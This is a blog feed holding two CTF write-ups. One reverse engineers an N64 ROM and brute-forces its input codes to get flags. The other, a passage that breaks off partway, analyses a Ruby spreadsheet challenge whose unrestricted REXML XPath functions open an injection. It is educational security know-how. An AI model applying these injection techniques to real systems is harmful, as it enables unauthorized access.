Jekyll2023-05-28T16:17:46+00:00https://jackmc.xyz/feed.xmlJack’s BlogRamblings about computer security. N64 ROM Reverse Engineering (NorthSec 2022)2022-05-23T16:23:00+00:002022-05-23T16:23:00+00:00https://jackmc.xyz/2022/05/23/N64-ROM-Reverse-Engineering<p>This weekend I participated in the <a href="https://nsec.io/competition/">NorthSec 2022 CTF</a>
with a bunch of friends who I either presently or used to work with.
Overall, the CTF was really well run and incredibly fun! Today I wanted
to talk about one of the challenges which was outside of my comfort zone
that we ended up solving after a lot of work!
I worked on this challenge with my teammates
Mar and Erin, which made it even more fun!</p>
<h2 id="the-challenge">The Challenge</h2>
<p>This challenge was called The Legend of Shiitakoin. I clicked into it on the
challenge list to see that one of the attached files was an N64 ROM! It seemed
like the main point of the challenge was going to be extracting flags via playing
and reverse engineering the attached ROM. There was also an attached <code class="language-plaintext highlighter-rouge">.out</code> file,
which at the time we were not sure of the format of.</p>
<p>Our first step was to run the ROM. Initially, my friend who I was working on the
challenge with tried it in the <a href="https://mupen64plus.org/">Mupen64</a> emulator, and
for some reason we got a blank screen. At this point, we tried running it in a second
emulator, <a href="https://sixtyforce.com/">SixtyForce</a>. This popped up a screen dripping in
late-90s nostalgia:</p>
<p><img src="/images/sixtyforce_n64.png" alt="A picture of the SixtyForce N64 emulator running the Legend of Shiitakoin ROM. There's red mushrooms lining the bottom of the screen, and the text "Legend of Shiitakoin\nSTART: Change Stage" is centred." /></p>
<h2 id="stage-1">Stage 1</h2>
<p>Pressing Start as instructed brought us to a screen with four hex numbers that, after a
bit of fiddling with the controls, we realized could be incremented and decremented with
the A and B buttons. We also learned that the Z button switched
between the numbers.</p>
<p><img src="/images/sixtyforce_n64_stage1.png" alt="A picture of the SixtyForce emulator running the ROM. There are yellow mushrooms lining the bottom of the screen, and the text "00 00 00 00" is centred." /></p>
<p>And pressing the right trigger (<code class="language-plaintext highlighter-rouge">s</code> in SixtyForce), the text “INCORRECT” would be overlaid on top of
the numbers. Like any good hackers, this made us wonder “well, what’s the correct code” 😁</p>
<h3 id="disassembling-the-binary">Disassembling the binary</h3>
<p>At this point, our attention turned to how to look at the ROM under the hood.</p>
<p>This lead us to the <code class="language-plaintext highlighter-rouge">.out</code> file which was included with the ROM. Running <code class="language-plaintext highlighter-rouge">file</code> on it, we got this
output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>legend_of_shiitakoin.out: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
</code></pre></div></div>
<p>This let us know it’s an ELF binary for the MIPS instruction set. This is great, since a quick Google
told us that was the N64 instruction set! We tried the binary in <a href="https://ghidra-sre.org/">Ghidra</a>.
Unhelpfully, it prompted us to tell it what compiler and variant was used. To be honest, I had no idea
the answer to either of these questions! After guessing, we received a blank project.<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> This made us try
it in a different reversing tool, Binary Ninja. I’m usure why, but for this reason we continued with
Binary Ninja.</p>
<h3 id="finding-stage-1-in-the-code">Finding stage 1 in the code</h3>
<p>The first thing that stood out to me was that the <code class="language-plaintext highlighter-rouge">.out</code> file had symbols included, which was a relief!
This means most things would already have names. We easily found the main function, <code class="language-plaintext highlighter-rouge">mainproc</code> (abridged and simplified for space):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int32_t</span> <span class="nf">mainproc</span><span class="p">()</span> <span class="p">{</span>
<span class="p">...</span>
<span class="n">stage</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Weird numbers thing</span>
<span class="k">if</span> <span class="p">(</span><span class="n">stage</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">initStage01</span><span class="p">();</span> <span class="c1">// Set some variables (mostly display stuff)</span>
<span class="n">nuGfxFuncSet</span><span class="p">(</span><span class="mh">0x80025e5c</span><span class="p">);</span> <span class="c1">// stage01 function</span>
<span class="n">nuGfxDisplayOn</span><span class="p">();</span>
<span class="o">*</span><span class="n">gspS2DEX2_fifoTextEnd</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">first_render</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Code for start screen and stage2</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This is (mostly) normal C code. It loops forever,
then checks the current stage number. If it’s
1, it calls an initialization function. Then
it calls <code class="language-plaintext highlighter-rouge">nuGfxFuncSet</code>. After a bit of Googling,
we realized this was actually part of the N64
graphics API! The docs are <a href="http://n64devkit.square7.ch/nusystem/nu_f/graphics/nuGfxFuncSet.htm">here</a>. It sets a
function that is called roughly every frame
(I think, some of the docs are a bit unclear).</p>
<p>The address passed in (<code class="language-plaintext highlighter-rouge">0x80025e5c</code>) is for the
function <code class="language-plaintext highlighter-rouge">stage01</code>. Clicking through, it seems
like this function calls two functions: <code class="language-plaintext highlighter-rouge">makeDL01</code>
and <code class="language-plaintext highlighter-rouge">updateGame01</code>. We reversed the majority of
<code class="language-plaintext highlighter-rouge">makeDL01</code> before realizing it was all graphics
code and likely not part of the solution. I’m
happy for this since I learned a lot about the
graphics APIs for the N64! <sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">2</a></sup></p>
<h3 id="the-core-stage-1-logic">The core stage 1 logic</h3>
<p><code class="language-plaintext highlighter-rouge">updateGame01</code> contains the code for handling
controller inputs, i.e. the “logic” of the stage.
In this function, <code class="language-plaintext highlighter-rouge">nuContDataGetEx</code> is called, which
<a href="https://n64squid.com/homebrew/n64-sdk/type-definitions/#NUContData">according to the homebrew docs</a>
returns a non-specified structure containing
the data from the controller. From this structure,
the function extracts the <code class="language-plaintext highlighter-rouge">button</code> bitmap, and
uses it to check if buttons are pressed. For example, the right trigger is checked with:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(((</span><span class="n">contdata</span> <span class="o">+</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&</span> <span class="mi">0</span><span class="n">b10000</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">interactiveScreenShow</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>From my understanding, <code class="language-plaintext highlighter-rouge">(contdata + 6)</code> is the
<code class="language-plaintext highlighter-rouge">button</code> element of the controller data struct
(it may be the second byte of the 16-bit integer).
The <code class="language-plaintext highlighter-rouge">& 0b10000</code> takes only the 5th bit, which
represents the right trigger.</p>
<p><code class="language-plaintext highlighter-rouge">a</code> <code class="language-plaintext highlighter-rouge">b</code>, <code class="language-plaintext highlighter-rouge">z</code>, start, and the right trigger are all handled similarly.
<code class="language-plaintext highlighter-rouge">interactiveScreenShow</code> is the function that
checks if we got the numbers correct, so let’s
jump in.</p>
<h3 id="what-are-the-right-numbers">What are the right numbers?</h3>
<p><code class="language-plaintext highlighter-rouge">interactiveScreenShow</code> copies a weird base64
string beginning with <code class="language-plaintext highlighter-rouge">GQMXGTN</code> into a buffer,
then calls <code class="language-plaintext highlighter-rouge">evaluationRoutine</code>. This function
contains a bunch of rules about what our four
numbers can be. For example:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// XOR first number with second number.</span>
<span class="kt">char</span> <span class="n">xor_of_one_and_two</span> <span class="o">=</span> <span class="n">input_bytes</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">^</span> <span class="n">input_bytes</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="kt">int32_t</span> <span class="n">return_value</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(((</span><span class="kt">uint32_t</span><span class="p">)(</span><span class="n">xor_of_one_and_two</span> <span class="o">&</span> <span class="mh">0xf0</span><span class="p">))</span> <span class="o">!=</span> <span class="mh">0xf0</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// Displays INCORRECT message</span>
<span class="n">return_value</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="nf">if</span> <span class="p">(((</span><span class="kt">uint32_t</span><span class="p">)(</span><span class="n">xor_of_one_and_two</span> <span class="o">&</span> <span class="mh">0xf</span><span class="p">))</span> <span class="o">!=</span> <span class="mh">0xd</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">return_value</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The rules vary, but for numbers 1, 2, and 3 they
are mostly various forms of XORs and ANDs.<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">3</a></sup> I
wrote these rules into our shared Discord instance,
kind of dreading how we would actually resolve
all of them. Then another friend suggested we
bruteforce the numbers! It’s only 32 bits total
(4 8 bit numbers), so a small C program could do
it easily! So that’s what we did. Source code for
that program can be found <a href="https://gist.github.com/JackMc/a8b96a176c17412e0f763f7aae7a5979">here</a>.</p>
<p>Compiling and running this code we get:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./legend_of_scoin
a3 5e 8d 3f
</code></pre></div></div>
<p>Entering this into the game, we get the flag!!</p>
<p><img src="/images/sixtyforce_n64_stage1flag.png" alt="The stage 1 screen from above. The text FLAG-HZQC is on the left of the screen. The remainder of the flag is redacted." /></p>
<h2 id="stage-2">Stage 2</h2>
<p>After pressing start again, we got to another screen:</p>
<p><img src="/images/sixtyforce_n64_stage2.png" alt="A picture of the ROM running in an emulator. There are orange mushrooms lining the bottom of the screen, a yellow mushroom in the top-left corner, and the text "X = 0 Y = 0" appears to the centre-left of the screen." /></p>
<p>On this screen, we found out that the left DPad
(the i, j, k, and l keys on SixtyForce) moved around the X and Y of the mushroom.</p>
<p>Stage 2 is very similar to stage 1. The X and Y
positions are put through a long series of rules
to determine which values are allowable. This
time the rules tested each bit of each coordinate
individually (see screenshot for some examples).</p>
<p><img src="/images/binaryninja_stage02_rules.png" alt="A screenshot of Binary Ninja. Several rules of the form `if ((other_y_pos & 0b1) & 0b1) != 0)` are displayed in a control flow graph." /></p>
<p>We wrote <a href="https://gist.github.com/JackMc/095a5c6c83ae24d6225615eff9cda009">another program</a> to bruteforce these
rules. We ran it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./legend_of_scion_2
a7 4e
</code></pre></div></div>
<p>Inputted it into the program… and it was wrong!
Not going to lie, we were pretty dejected at this
moment. We didn’t have an easy way to debug the
ROM. Thankfully, after reexamining the challenge
description, it mentioned <a href="https://www.pj64-emu.com/">Project64</a>.
This emulator has a built in debugger, which is
exactly what we need! It only runs on Windows,
but one of our teammates lent us their Linux
machine with wine.</p>
<p>I don’t have screenshots, but we ran through the
evaluation function <code class="language-plaintext highlighter-rouge">proceduralOperation</code> one
instruction at a time. We found that for the
third least-significant bit, the check failed!
It seems the binary ninja decompilation was
flipped. We change that bit to a <code class="language-plaintext highlighter-rouge">0</code>, giving us
<code class="language-plaintext highlighter-rouge">a3</code>, inputted it and got the flag!</p>
<p><img src="/images/skyforce_n64_stage2flag.png" alt="The stage 2 screen from above. The yellow mushroom is now at the coordinates a3, 4e. The text FLAG-HZQCFXWF is displayed in the center-bottom left of the screen" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>All in, this challenge probably took us 8 hours.
As someone who isn’t super experienced
in reverse engineering, I feel like this was
right at the limit of do-ability for me.</p>
<p>Thanks to the NorthSec team for the CTF, to my
teammates, and to Zack Deveau for putting the
challenge together! Cheers.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>We learned after-the-fact that there’s a <a href="https://www.retroreversing.com/n64-decompiling">Ghidra N64 plugin</a> which solves our Ghidra issues. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p>the fourth number is calculated in an interesting way. The program loops four times and binary-ORs the loop counter into it (plus some constants). This threw me through for a loop (no pun intended) because in Binary Ninja it looked like the loop counter itself was being dereferenced, at addresses 0-3. This lead to a rabbit hole about the <a href="http://en64.shoutwiki.com/wiki/ROM#Cartridge_ROM_Header">catridge ROM header</a> that’s at that address. Turns out Binary Ninja’s decompiler was just wrong. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p><code class="language-plaintext highlighter-rouge">makeDL01</code> (and other <code class="language-plaintext highlighter-rouge">makeDL</code>s) are called conditionally based on a parameter which we found out is called <code class="language-plaintext highlighter-rouge">gfxTaskNum</code>. I couldn’t find solid docs on what decides this number, if anyone knows please reach out! <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>This weekend I participated in the NorthSec 2022 CTF with a bunch of friends who I either presently or used to work with. Overall, the CTF was really well run and incredibly fun! Today I wanted to talk about one of the challenges which was outside of my comfort zone that we ended up solving after a lot of work! I worked on this challenge with my teammates Mar and Erin, which made it even more fun!Ruby XPath Injection (NorthSec 2023)2022-05-23T16:23:00+00:002022-05-23T16:23:00+00:00https://jackmc.xyz/2022/05/23/nsec-spreadsheet<p>Once again this year I participated in the <a href="https://nsec.io/competition">NorthSec CTF</a>.
This is one of my favourite infosec events of the year. Today I wanted to talk about a challenge I worked on called The Great Processor by <a href="https://twitter.com/becojo">@becojo</a>. I worked on this challenge with my teammate Saba.</p>
<p>This challenge presented itself initially as a command-line spreadsheet tool but had some
very interesting internals.</p>
<h2 id="a-brief-tour-of-the-ui">A Brief Tour of the UI</h2>
<p>The app, XSpreadsheet, was accessible via <code class="language-plaintext highlighter-rouge">nc</code> and begins with a prompt like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>XSpreadsheet 23.129-3348.1
Type help() for help.
>
</code></pre></div></div>
<p>When you ask for the help, it gives you some starting points for how to navigate and
explore your spreadsheet. Unfortunately I don’t have this as I didn’t save it during
the CTF. To summarize:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">render</code> will show the spreadsheet</li>
<li><code class="language-plaintext highlighter-rouge">select</code> allows you to select a range to perform an operation on</li>
<li><code class="language-plaintext highlighter-rouge">json_parse</code>, <code class="language-plaintext highlighter-rouge">json_key</code>, and <code class="language-plaintext highlighter-rouge">json_get</code> allow you to work with JSON objects</li>
<li><code class="language-plaintext highlighter-rouge">export_xml</code> shows you the XML state file</li>
<li><code class="language-plaintext highlighter-rouge">set</code> sets the content of cells within the state</li>
<li><code class="language-plaintext highlighter-rouge">source</code> shows the source code of the application</li>
</ul>
<p>Calling the <code class="language-plaintext highlighter-rouge">render</code> function, it returns something like (not the real spreadsheet):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----+----+----+
| 70 | 50 | 56 |
+----+----+----+
| 75 | 50 | 57 |
+----+----+----+
| 65 | 50 | 57 |
+----+----+----+
</code></pre></div></div>
<p>This is where I missed the first flag. If you were to decode the provided values as ASCII
then you would have received a 1-point flag.</p>
<h2 id="reading-the-source">Reading the Source</h2>
<p>I then asked it for its source code. It responded with a Ruby application. To save space, only the parts directly relevant
to the solution are reproduced where needed below.</p>
<p>The full challenge is available in <a href="https://gist.github.com/JackMc/e92d37247fe91aaac6e16dbc61577896">this Gist</a>.</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">State</span> <span class="o"><</span> <span class="no">Struct</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="ss">:cells</span><span class="p">,</span> <span class="ss">:selection</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">initialize</span>
<span class="n">state</span> <span class="o">=</span> <span class="no">REXML</span><span class="o">::</span><span class="no">Functions</span><span class="p">.</span><span class="nf">json_parse</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="s2">"state.json"</span><span class="p">))</span>
<span class="vi">@cells</span> <span class="o">=</span> <span class="n">state</span><span class="p">[</span><span class="ss">:@cells</span><span class="p">].</span><span class="nf">map</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="o">|</span>
<span class="p">[</span><span class="no">REXML</span><span class="o">::</span><span class="no">Functions</span><span class="p">.</span><span class="nf">json_parse</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="nf">to_s</span><span class="p">),</span> <span class="n">value</span><span class="p">]</span>
<span class="k">end</span><span class="p">.</span><span class="nf">to_h</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">to_xml</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">query</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">clear</span><span class="p">(</span><span class="n">nodes</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">set</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">nodes</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">render</span><span class="p">(</span><span class="n">cells</span> <span class="o">=</span> <span class="vi">@cells</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>This constructor parses a file <code class="language-plaintext highlighter-rouge">state.json</code> consisting of a JSON object with a single array keyed as <code class="language-plaintext highlighter-rouge">@cells</code>.
An example (not the real one) is reproduced below:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"@cells"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"[0, 0]"</span><span class="p">:</span><span class="w"> </span><span class="mi">70</span><span class="p">,</span><span class="w">
</span><span class="nl">"[0, 1]"</span><span class="p">:</span><span class="w"> </span><span class="mi">75</span><span class="p">,</span><span class="w">
</span><span class="nl">"[0, 2]"</span><span class="p">:</span><span class="w"> </span><span class="mi">65</span><span class="p">,</span><span class="w">
</span><span class="nl">"[1, 0]"</span><span class="p">:</span><span class="w"> </span><span class="mi">50</span><span class="p">,</span><span class="w">
</span><span class="nl">"[1, 1]"</span><span class="p">:</span><span class="w"> </span><span class="mi">50</span><span class="p">,</span><span class="w">
</span><span class="nl">"[1, 2]"</span><span class="p">:</span><span class="w"> </span><span class="mi">50</span><span class="p">,</span><span class="w">
</span><span class="nl">"[2, 0]"</span><span class="p">:</span><span class="w"> </span><span class="mi">56</span><span class="p">,</span><span class="w">
</span><span class="nl">"[2, 1]"</span><span class="p">:</span><span class="w"> </span><span class="mi">57</span><span class="p">,</span><span class="w">
</span><span class="nl">"[2, 2]"</span><span class="p">:</span><span class="w"> </span><span class="mi">57</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>This is then turned into a hash of <code class="language-plaintext highlighter-rouge">(x_coord,y_coord) => val</code>, and placed in an instance variable
called <code class="language-plaintext highlighter-rouge">@cells</code>. Another interesting note is that this parsing is done using the method
<code class="language-plaintext highlighter-rouge">REXML::Functions.json_parse</code>, which bares a strong resemblance to the function we were
able to call inside the XSpreadsheet console.</p>
<p>Before moving onwards, we noted that the <code class="language-plaintext highlighter-rouge">State</code> class reads from <code class="language-plaintext highlighter-rouge">@cells</code> to perform
the <code class="language-plaintext highlighter-rouge">to_xml</code> operation (used by the user-accessible functions as we’ll see later), but
never writes back to it in the <code class="language-plaintext highlighter-rouge">set</code> function (used by the user-accessible <code class="language-plaintext highlighter-rouge">set</code> function).
This means, in reality, we can’t actually modify the spreadsheet.</p>
<p>Moving downwards in the app, we see that it modifies the existing <code class="language-plaintext highlighter-rouge">REXML::Functions</code> module.</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">REXML::Functions</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">export_xml</span>
<span class="no">STATE</span><span class="p">.</span><span class="nf">to_xml</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">import_xml</span><span class="p">(</span><span class="o">*</span><span class="n">_</span><span class="p">)</span>
<span class="c1"># importing xml is dangerous. we'll do it later.</span>
<span class="s2">"todo: import_xml"</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">json_parse</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="c1"># at least json is safe to parse</span>
<span class="no">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="ss">symbolize_names: </span><span class="kp">true</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">json_get</span><span class="p">(</span><span class="n">json</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">string</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">json</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> <span class="n">or</span> <span class="n">json</span><span class="p">[</span><span class="n">key</span><span class="p">.</span><span class="nf">to_sym</span><span class="p">]</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">json_key</span><span class="p">(</span><span class="n">json</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span>
<span class="n">json</span><span class="p">.</span><span class="nf">key</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">select</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span> <span class="n">y1</span><span class="p">,</span> <span class="n">x2</span><span class="p">,</span> <span class="n">y2</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">clear</span><span class="p">(</span><span class="n">nodes</span> <span class="o">=</span> <span class="kp">nil</span><span class="p">)</span>
<span class="no">STATE</span><span class="p">.</span><span class="nf">clear</span><span class="p">(</span><span class="n">nodes</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">set</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">nodes</span> <span class="o">=</span> <span class="kp">nil</span><span class="p">)</span>
<span class="no">STATE</span><span class="p">.</span><span class="nf">set</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">nodes</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">render</span>
<span class="no">STATE</span><span class="p">.</span><span class="nf">render</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">source</span>
<span class="vi">@source</span> <span class="o">||=</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="kp">__FILE__</span><span class="p">).</span><span class="nf">split</span><span class="p">(</span><span class="s2">"__</span><span class="si">#{</span><span class="s1">'END'</span><span class="si">}</span><span class="s2">__"</span><span class="p">).</span><span class="nf">first</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">help</span>
<span class="vi">@help</span> <span class="o">||=</span> <span class="no">DATA</span><span class="p">.</span><span class="nf">read</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>These functions all line up spookily well with the functions we’re able to call from the console,
and there’s nowhere where the app actually allowlists the functions that are allowed to be called.
This made my “Ruby magic senses” start tingling, and made me curious how <code class="language-plaintext highlighter-rouge">REXML::Functions</code> works.
But first, let’s talk about the actual logic that drives the console:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">STATE</span> <span class="o">=</span> <span class="no">State</span><span class="p">.</span><span class="nf">new</span>
<span class="nb">puts</span> <span class="s2">"XSpreadsheet 23.129-3348.1"</span>
<span class="nb">puts</span> <span class="s2">"Type help() for help."</span>
<span class="nb">puts</span>
<span class="kp">loop</span> <span class="k">do</span>
<span class="nb">print</span> <span class="s2">"> "</span>
<span class="k">begin</span>
<span class="n">query</span> <span class="o">=</span> <span class="nb">gets</span>
<span class="nb">exit</span> <span class="k">if</span> <span class="n">query</span><span class="p">.</span><span class="nf">nil?</span>
<span class="k">rescue</span> <span class="no">Interrupt</span>
<span class="nb">exit</span>
<span class="k">end</span>
<span class="k">begin</span>
<span class="nb">puts</span> <span class="no">STATE</span><span class="p">.</span><span class="nf">query</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="k">rescue</span> <span class="no">Exception</span> <span class="o">=></span> <span class="n">e</span>
<span class="nb">warn</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">"error"</span>
<span class="k">end</span>
<span class="nb">puts</span>
<span class="k">end</span>
</code></pre></div></div>
<p>This logic simply asks for user input, and calls the <code class="language-plaintext highlighter-rouge">query</code> method on the
<code class="language-plaintext highlighter-rouge">STATE</code> object with that user input repeatedly until an interrupt occurs
(control-C is pressed) or the query is blank.</p>
<p>This brings us back to the <code class="language-plaintext highlighter-rouge">STATE</code> object. Its query method looks like:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">query</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="n">doc</span> <span class="o">=</span> <span class="no">REXML</span><span class="o">::</span><span class="no">Document</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">to_xml</span><span class="p">)</span>
<span class="no">REXML</span><span class="o">::</span><span class="no">XPath</span><span class="p">.</span><span class="nf">match</span><span class="p">(</span><span class="n">doc</span><span class="p">,</span> <span class="n">query</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>
<p>This uses <code class="language-plaintext highlighter-rouge">REXML::XPath</code> to query a <code class="language-plaintext highlighter-rouge">REXML::Document</code> object. The Document is created
through the <code class="language-plaintext highlighter-rouge">to_xml</code> method:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">to_xml</span>
<span class="n">cells</span> <span class="o">=</span> <span class="vi">@cells</span><span class="p">.</span><span class="nf">map</span> <span class="k">do</span> <span class="o">|</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">row</span><span class="p">),</span> <span class="n">value</span><span class="o">|</span>
<span class="s2">" <cell col=</span><span class="se">\"</span><span class="si">#{</span><span class="n">col</span><span class="p">.</span><span class="nf">to_i</span><span class="si">}</span><span class="se">\"</span><span class="s2"> row=</span><span class="se">\"</span><span class="si">#{</span><span class="n">row</span><span class="p">.</span><span class="nf">to_i</span><span class="si">}</span><span class="se">\"</span><span class="s2">></span><span class="si">#{</span><span class="n">value</span><span class="p">.</span><span class="nf">to_i</span><span class="si">}</span><span class="s2"></cell>"</span>
<span class="k">end</span>
<span class="s2">"<cells></span><span class="se">\n</span><span class="si">#{</span><span class="n">cells</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span><span class="si">}</span><span class="se">\n</span><span class="s2"></cells>"</span>
<span class="k">end</span>
</code></pre></div></div>
<p>So we know that somehow <code class="language-plaintext highlighter-rouge">REXML::XPath</code> knows how to call the functions defined in the <code class="language-plaintext highlighter-rouge">REXML::Functions</code>
mixin above and use them to manipulate the document produced by <code class="language-plaintext highlighter-rouge">to_xml</code>.</p>
<h2 id="whats-an-xpath">What’s an XPath?</h2>
<p>I wasn’t super familiar with XPath before starting this challenge. I knew it was something like the
language used by <code class="language-plaintext highlighter-rouge">document.querySelector</code> in the web browser, but for any XML document, but that was
about it.</p>
<p>It turns out XPath is a very feature-rich language for querying XML documents, defined across three
RFCs that are very dry and not really relevant to this challenge. I will however mention a couple of
relevant pieces of the language:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">//cell</code> will give us all tags with the name <code class="language-plaintext highlighter-rouge">cell</code>, and <code class="language-plaintext highlighter-rouge">//cell[col>=1]</code> will give us all cells where the <code class="language-plaintext highlighter-rouge">col</code> attribute is greater than or equal to 1.</li>
<li>XPath has some built-in functions such as <code class="language-plaintext highlighter-rouge">count</code>, <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">starts-with</code>. These can be called like <code class="language-plaintext highlighter-rouge">//cell[starts-with(col, "1")]</code>, or by themselves like <code class="language-plaintext highlighter-rouge">starts-with("boop", "booooop")</code>.</li>
</ul>
<h2 id="digging-into-the-rexml-source-code">Digging into the REXML Source Code</h2>
<p>Learning that somehow we were registering XPath functions sent me down a big rabbit hole of learning exactly
how the REXML XPath parser works. To save you that experience, I’ll only mention the relevant parts below. There was
however one very funny comment in the file <code class="language-plaintext highlighter-rouge">lib/rexml/parsers/xpathparser.rb</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># You don't want to use this class. Really. Use XPath, which is a wrapper
# for this class. Believe me. You don't want to poke around in here.
# There is strange, dark magic at work in this code. Beware. Go back! Go
# back while you still can!
</code></pre></div></div>
<p>After reading this code, I can very much agree that there is dark magic at work. After tracing the code down from the
